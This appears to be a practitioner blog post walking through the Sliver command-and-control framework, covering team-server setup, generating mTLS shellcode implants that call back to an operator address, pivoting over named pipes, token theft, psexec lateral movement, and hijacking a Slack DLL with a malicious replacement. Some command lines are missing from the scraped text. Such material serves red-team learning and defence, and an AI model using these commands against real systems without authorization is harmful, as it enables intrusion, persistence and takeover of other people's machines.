Sliver is an open-source multi-operator command and control framework written in Go and named after a species from Magic the Gathering. It is maintained by BishopFox and offers a big feature set and a beautiful CLI.
However, I did not find much documentation on the more advanced features, except for Slivers
help menu (which is excellent by the way), which is why I documented some of its features in this post. The project is still actively developed though, so the below is subject to change and may not work in future versions of the framework.
Sliver features staged and stageless payloads, implants for Windows, Linux & macOS, malleable C2 over HTTP(S) as well as C2 over mTLS, WireGuard and DNS. It also has all your basic C2 needs: execute-assembly, socks proxies, port forwarding, you name it. Additionally, an extension management system (armory) offers customization options.
IMO Sliver is a great free and open-source replacement for Cobalt Strike.
Setting up and connecting to the team server
In kali, installation is straightforward via
apt install sliver
Start the team server and you will be greeted with a Sliver banner.
Now first we have to add a new operator by creating an operator config file. These files contain authentication and connection info for your team server.
new-operator --name eversinc33 --lhost 127.0.0.1
Afterwards, copy your config file to
Finally, enable multiplayer mode, to allow operator login:
To connect to the server as an operator, run
sliver-client and select your configuration file, if there are multiple.
If you have connection errors with the Sliver-client, it is likely that you forgot to run the above
multiplayer command, as it needs to be run every time the server is started.
There are many options for generating implants and I recommend to read through them all with
help generate. Note that by default a
session-implant is generated, which communicates in a real time fashion. To generate a
beacon implant, that periodically checks back for tasks, use
generate beacon. Staged implants can be generated with
generate stager. All your implants can be listed with
implants and regenerated with
I generate the shellcode for an mTLS-based implant here. Compilation may take some time.
generate -N IMPLANT_NAME --mtls 192.168.2.129 -f shellcode -s /tmp/sliver.bin
shellcode, you can also generate an
exe, a dynamic library (
shared) or a
service to use for
Don’t forget to start the listener with, in this case,
If you then deliver and execute the payload using your favorite method, we get a connection back.
Interacting with a session
We can start to interact with our agent with
use <ID>. List available sessions and beacons with
Sliver has many powerful features. If you type
help in a session, you can see a list of all of them. If you have some experience working with Cobalt Strike or meterpreter, many of them will be familiar, which makes Sliver feel quite “natural” and have an easy learning curve.
There are many basic commands available, such as
execute (run any shell command),
Below are some further examples of selected Sliver commands.
execute-assemblywe can run a .NET assembly (DLL or exe) in memory, by spawning a new process (notepad by default) that hosts the .NET-CLR. With the
-Xflag, the tool output is automatically saved to
This can however be a bit tedious, since as of now there is no path autocompletion, but that is not that much of a problem anymore, when working with aliases (which I will explain in the next chapter below).
Spawn a new session as NT AUTHORITY/SYSTEM, by injecting into a system process when you are already in a high privileged shell.
List processes and identify running security products such as AVs and EDRs:
Sliver enables you to start a socks5 proxy in your implant with
socks5 start. This proxy can then be used with e.g.
proxychainsto tunnel your tools through the implant into the corporate network.
pivotsoffers local listeners, that can link your implants to each other, either via TCP or via SMB named pipes. These pivot listeners and links help you keep your outbound traffic low. SMB blends in very well in Active Directory environments, which is why I would prefer SMB to link between machines. For local links, e.g. when you are privilege escalating and need to spawn another beacon/session, I would use TCP instead.
Start the pipe listener in your session/beacon and name your pipe (e.g. intercom):
pivots named-pipe intercom. Then generate a named-pipe implant, e.g.
generate --named-pipe //./pipe/intercom. Don’t forget the pipe prefix here (
Upon launching your implant, if it can reach the other implant that will act as a pivot listener, it will link and communicate over that implant to the team server.
This is also really useful if your target can not directly communicate with your team server, e.g. due to a firewall blocking outbound traffic.
impersonate make-token rev2self
make-tokenallow you to play around with Windows access tokens. The former allows you to steal the token of another process, if you have the privileges to access it (e.g. when you are SYSTEM on a machine and want the token of another logged-in user). The latter allows you to impersonate a user by forging an access token, if you know the credentials. As the time of writing this, there is no command yet like Cobalt Strike’s
kerberos_ticket_use, where you can inject a kerberos ticket into your session.
rev2selfreverts the token to the original access token of that session.
psexecallows you to easily jump to another host by creating a service with psexec (duh). To do that, you need to first create an implant profile with
profiles new, which will act as a template for the service binary that will be deployed.
Load a DLL into a remote process using Shellcode Reflective DLL Injection. Lets you also capture the output to the loot directory with
This might be my favorite command. It allows you to specify a DLL on the host and a local DLL that will be planted on the target.It will then modify all exports so that the planted DLL forwards all relevant exports to the hijacked DLL. Optionally you can also use an implant profile to generate as the DLL.
E.g., hijack msasn1.dll, which is loaded by slack and supply your own DLL as the malicious replacement:
dll-hijack --reference-path C:\\Windows\\system32\\msasn1.dll --file /tmp/malicious.dll C:\\Users\\Bob\\AppData\\Slack\\App-4.18.0\\msasn1.dll. Now slack will load your malicious DLL on startup, but functionality won’t be impacted, because your DLL is modified to forward all calls to the original DLL.
Sliver offer some integration with metasploit, and as such can run MSF payloads (and inject them into remote processes with
msf-inject) by speaking to a metasploit instance via its RPC API:
Even though it errors with an empty response, we get a meterpreter shell back:
Obviously those are not all commands, but rather some that I found interesting. There are many more so check them out too.
Using armory, Sliver’s built-in repository for extensions, we can easily install extensions, such as a keylogger, some Beacon-Object-Files or aliases for several well-known .NET-based tools.
Aliases are basically wrappers around
execute-assembly. As such, instead of having to type out
execute-assembly /path/to/sharphound, you can then simply type the name of the wrapper, e.g. here with SharpHound:
Aliases for your own tools can be quickly created, as they are just a json-file that describes the assembly.
Another fun way to use armory is that your team could set up your own armory-repository, that includes your internal tooling and can be used by all operators.
- Sliver does not always take you by the hand, e.g. if you specify
-f dllfor an implant, it does not warn you that this format does not exist and that what you want to use is
-f shared, it will just generate an .exe file.
Go and play with Sliver at https://github.com/BishopFox/Sliver. Happy Hacking